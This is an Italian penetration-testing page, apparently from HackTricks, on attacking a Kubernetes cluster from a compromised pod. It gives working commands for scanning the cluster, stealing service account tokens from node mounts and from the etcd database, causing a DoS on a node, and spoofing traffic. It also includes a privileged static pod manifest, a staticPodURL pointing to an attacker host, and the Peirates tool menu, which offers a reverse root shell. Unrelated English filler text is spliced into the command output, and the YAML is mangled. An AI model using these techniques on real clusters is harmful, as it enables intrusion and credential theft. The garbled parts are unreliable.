Attacking Kubernetes from inside a Pod

Sostieni HackTricks

Fuga dal Pod

Se sei abbastanza fortunato potresti riuscire a scappare verso il nodo:

Fuga dal pod

Per cercare di fuggire dai pod potresti aver bisogno di escalare i privilegi prima, alcune tecniche per farlo:

Puoi controllare questi docker breakouts per cercare di fuggire da un pod che hai compromesso:

Abuso dei Privilegi di Kubernetes

Come spiegato nella sezione sull'enumerazione di Kubernetes:

Kubernetes Enumeration

Di solito i pod vengono eseguiti con un token dell'account di servizio al loro interno. Questo account di servizio potrebbe avere alcuni privilegi associati che potresti abusare per spostarti su altri pod o addirittura per scappare ai nodi configurati all'interno del cluster. Controlla come fare in:

Abusing Roles/ClusterRoles in Kubernetes

Abuso dei Privilegi Cloud

Se il pod viene eseguito all'interno di un ambiente cloud potresti essere in grado di ottenere un token dal punto di metadata e di escalare i privilegi usando questo.

Ricerca di servizi di rete vulnerabili

Essendo all'interno dell'ambiente Kubernetes, se non riesci ad escalare i privilegi abusando dei privilegi attuali dei pod e non riesci a scappare dal container, dovresti cercare potenziali servizi vulnerabili.

Servizi

A questo scopo, puoi provare a ottenere tutti i servizi dell'ambiente Kubernetes:

kubectl get svc --all-namespaces

Di default, Kubernetes utilizza uno schema di rete piatto, il che significa che qualsiasi pod/servizio all'interno del cluster può comunicare con gli altri. Gli namespace all'interno del cluster non hanno restrizioni di sicurezza di rete di default. Chiunque nell'namespace può comunicare con altri namespace.

Scansione

Lo script Bash seguente (preso da un workshop su Kubernetes) installerà e scannerizzerà gli intervalli IP del cluster Kubernetes:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Controlla la seguente pagina per apprendere come potresti attaccare i servizi specifici di Kubernetes per compromettere altri pod/tutto l'ambiente:

Pentesting Kubernetes Services

Sniffing

Nel caso in cui il pod compromesso stia eseguendo un servizio sensibile in cui altri pod devono autenticarsi, potresti essere in grado di ottenere le credenziali inviate dagli altri pod sniffando le comunicazioni locali.

Network Spoofing

Per impostazione predefinita, tecniche come lo spoofing ARP (e grazie a questo lo spoofing DNS) funzionano nella rete di Kubernetes. Quindi, all'interno di un pod, se hai la capacità NET_RAW (che è attiva per impostazione predefinita), sarai in grado di inviare pacchetti di rete personalizzati e eseguire attacchi MitM tramite spoofing ARP a tutti i pod in esecuzione nello stesso nodo. Inoltre, se il pod malizioso è in esecuzione nello stesso nodo del server DNS, sarai in grado di eseguire un attacco di spoofing DNS a tutti i pod nel cluster.

Kubernetes Network Attacks

Node DoS

Non vi è alcuna specifica di risorse nei manifest di Kubernetes e limiti non applicati per i contenitori. Come attaccante, possiamo consumare tutte le risorse in cui il pod/deployment è in esecuzione e privare di risorse altre risorse causando un DoS per l'ambiente.

Questo può essere fatto con uno strumento come stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Puoi vedere la differenza mentre esegui stress-ng e dopo.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Post-Esploitation del Nodo

Se sei riuscito a uscire dal container ci sono alcune cose interessanti che troverai nel nodo:

  • Il processo Container Runtime (Docker)

  • Altri pods/containers in esecuzione nel nodo che puoi sfruttare come questo (più token)

  • L'intero filesystem e il sistema operativo in generale

  • Il servizio Kube-Proxy in ascolto

  • Il servizio Kubelet in ascolto. Controlla i file di configurazione:

    • Directory: /var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • Altri file comuni di Kubernetes:

    • $HOME/.kube/config - Configurazione Utente

    • /etc/kubernetes/kubelet.conf- Configurazione Regolare

    • /etc/kubernetes/bootstrap-kubelet.conf - Configurazione Bootstrap

    • /etc/kubernetes/manifests/etcd.yaml - Configurazione etcd

    • /etc/kubernetes/pki - Chiave Kubernetes

Trova il kubeconfig del nodo

Se non riesci a trovare il file kubeconfig in uno dei percorsi precedentemente commentati, controlla l'argomento --kubeconfig del processo kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Rubare Segreti

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Lo script can-they.sh otterrà automaticamente i token di altri pod e verificherà se hanno i permessi che stai cercando (anziché controllare uno per uno):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

DaemonSets Privilegiati

Un DaemonSet è un pod che verrà eseguito in tutti i nodi del cluster. Pertanto, se un DaemonSet è configurato con un account di servizio privilegiato, in TUTTI i nodi sarà possibile trovare il token di quell'account di servizio privilegiato che potresti sfruttare.

L'exploit è lo stesso della sezione precedente, ma ora non dipendi più dalla fortuna.

Pivot verso il Cloud

Se il cluster è gestito da un servizio cloud, di solito il Nodo avrà un accesso diverso all'endpoint dei metadati rispetto al Pod. Quindi, prova ad accedere all'endpoint dei metadati dal nodo (o da un pod con hostNetwork a True):

Kubernetes Pivoting to Clouds

Rubare etcd

Se puoi specificare il nodeName del Nodo che eseguirà il container, ottieni una shell all'interno di un nodo del control-plane e ottieni il database etcd:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

I nodi del piano di controllo hanno il ruolo master e nei cluster gestiti dal cloud non sarà possibile eseguire nulla su di essi.

Leggere segreti da etcd

Se puoi eseguire il tuo pod su un nodo del piano di controllo utilizzando il selettore nodeName nella specifica del pod, potresti avere un facile accesso al database etcd, che contiene tutta la configurazione del cluster, compresi tutti i segreti.

Di seguito c'è un modo rapido e sporco per ottenere i segreti da etcd se viene eseguito sul nodo del piano di controllo su cui ti trovi. Se desideri una soluzione più elegante che avvii un pod con l'utilità client etcd etcdctl e utilizzi le credenziali del nodo del piano di controllo per connettersi a etcd ovunque venga eseguito, dai un'occhiata a questo esempio di manifesto di @mauilion.

Controlla se etcd è in esecuzione sul nodo del piano di controllo e vedi dove si trova il database (Questo è su un cluster creato con kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
## Attacking Kubernetes from Inside a Pod

When an attacker gains access to a Kubernetes pod, they are already inside the cluster and can perform various attacks to escalate privileges or move laterally within the cluster.

### Pod Escape

One common goal for an attacker inside a Kubernetes pod is to break out of the pod and gain access to the underlying node. This can be achieved by exploiting misconfigurations or vulnerabilities in the Kubernetes environment.

### Privilege Escalation

Once inside a pod, an attacker may attempt to escalate privileges to gain higher levels of access within the cluster. This can be done by exploiting vulnerabilities in the pod's configuration or the Kubernetes environment.

### Lateral Movement

After gaining access to a pod, an attacker may also try to move laterally within the cluster to compromise other pods or nodes. This can be achieved by leveraging misconfigurations or vulnerabilities in the Kubernetes network.

It is essential for organizations to secure their Kubernetes clusters to prevent attackers from exploiting these common attack vectors.
data-dir=/var/lib/etcd

Visualizza i dati nel database etcd:

strings /var/lib/etcd/member/snap/db | less

Estrai i token dal database e mostra il nome dell'account di servizio

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Stesso comando, ma con alcuni greps per restituire solo il token predefinito nello spazio dei nomi kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a Pod

### Introduction

When an attacker gains access to a Kubernetes pod, they are in a privileged position to perform further attacks within the cluster. This section explores various techniques that an attacker can use to escalate privileges and move laterally within the Kubernetes environment.

### Privilege Escalation

#### Exploiting Misconfigured RBAC Roles

If the attacker can find a misconfigured Role-Based Access Control (RBAC) role that grants excessive permissions, they can abuse it to escalate their privileges within the cluster. This can allow the attacker to perform actions they are not supposed to do.

#### Accessing the Kubernetes API Server

By accessing the Kubernetes API server from within a compromised pod, an attacker can potentially interact with the cluster in unintended ways. This can lead to further privilege escalation and unauthorized access to resources.

### Lateral Movement

#### Pod Hopping

Once inside a pod, an attacker can move laterally by compromising other pods within the same node or different nodes in the cluster. This can help the attacker gain access to more sensitive information and resources.

#### Exploiting Service Accounts

Service accounts are used by pods to authenticate and communicate with the Kubernetes API server. If an attacker can compromise a service account token, they can impersonate the account and potentially access resources beyond the pod's permissions.

### Conclusion

Securing Kubernetes pods is crucial to prevent attackers from escalating privileges and moving laterally within the cluster. Regular security assessments and audits can help identify and mitigate these vulnerabilities before they are exploited.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Persistenza dei Pod Statici/Riflessi

I Pod Statici sono gestiti direttamente dal demone kubelet su un nodo specifico, senza che il server API li osservi. A differenza dei Pod gestiti dal piano di controllo (ad esempio, un Deployment); invece, il kubelet controlla ogni Pod statico (e lo riavvia se fallisce).

Di conseguenza, i Pod statici sono sempre vincolati a un solo Kubelet su un nodo specifico.

Il kubelet cerca automaticamente di creare un Pod speculare sul server API di Kubernetes per ogni Pod statico. Ciò significa che i Pod in esecuzione su un nodo sono visibili sul server API, ma non possono essere controllati da lì. I nomi dei Pod saranno suffissi con il nome host del nodo con un trattino iniziale.

Lo spec di un Pod statico non può fare riferimento ad altri oggetti API (ad esempio, ServiceAccount, ConfigMap, Secret, ecc. Quindi non è possibile abusare di questo comportamento per avviare un pod con un ServiceAccount arbitrario nel nodo corrente per compromettere il cluster. Ma potresti usarlo per eseguire pod in diversi namespace (nel caso sia utile per qualche motivo).

Se ti trovi all'interno dell'host del nodo, puoi far sì che crei un pod statico all'interno di se stesso. Questo è abbastanza utile perché potrebbe consentirti di creare un pod in un namespace diverso come kube-system.

Per creare un pod statico, la documentazione è di grande aiuto. Fondamentalmente hai bisogno di 2 cose:

  • Configurare il parametro --pod-manifest-path=/etc/kubernetes/manifests nel servizio kubelet, o nella configurazione kubelet (staticPodPath) e riavviare il servizio

  • Creare la definizione sul file di definizione del pod in /etc/kubernetes/manifests

Un altro modo più stealth sarebbe:

  • Modificare il parametro staticPodURL dal file di configurazione del kubelet e impostare qualcosa come staticPodURL: http://attacker.com:8765/pod.yaml. Ciò farà sì che il processo kubelet crei un pod statico ottenendo la configurazione dall'URL indicato.

Esempio di configurazione del pod per creare un pod privilegiato in kube-system preso da qui:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Eliminazione di pod + nodi non schedulabili

Se un attaccante ha compromesso un nodo e può eliminare i pod da altri nodi e rendere altri nodi non in grado di eseguire pod, i pod verranno eseguiti di nuovo nel nodo compromesso e sarà in grado di rubare i token eseguiti in essi. Per ulteriori informazioni seguire questi link.

Strumenti Automatici

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Sostieni HackTricks

Last updated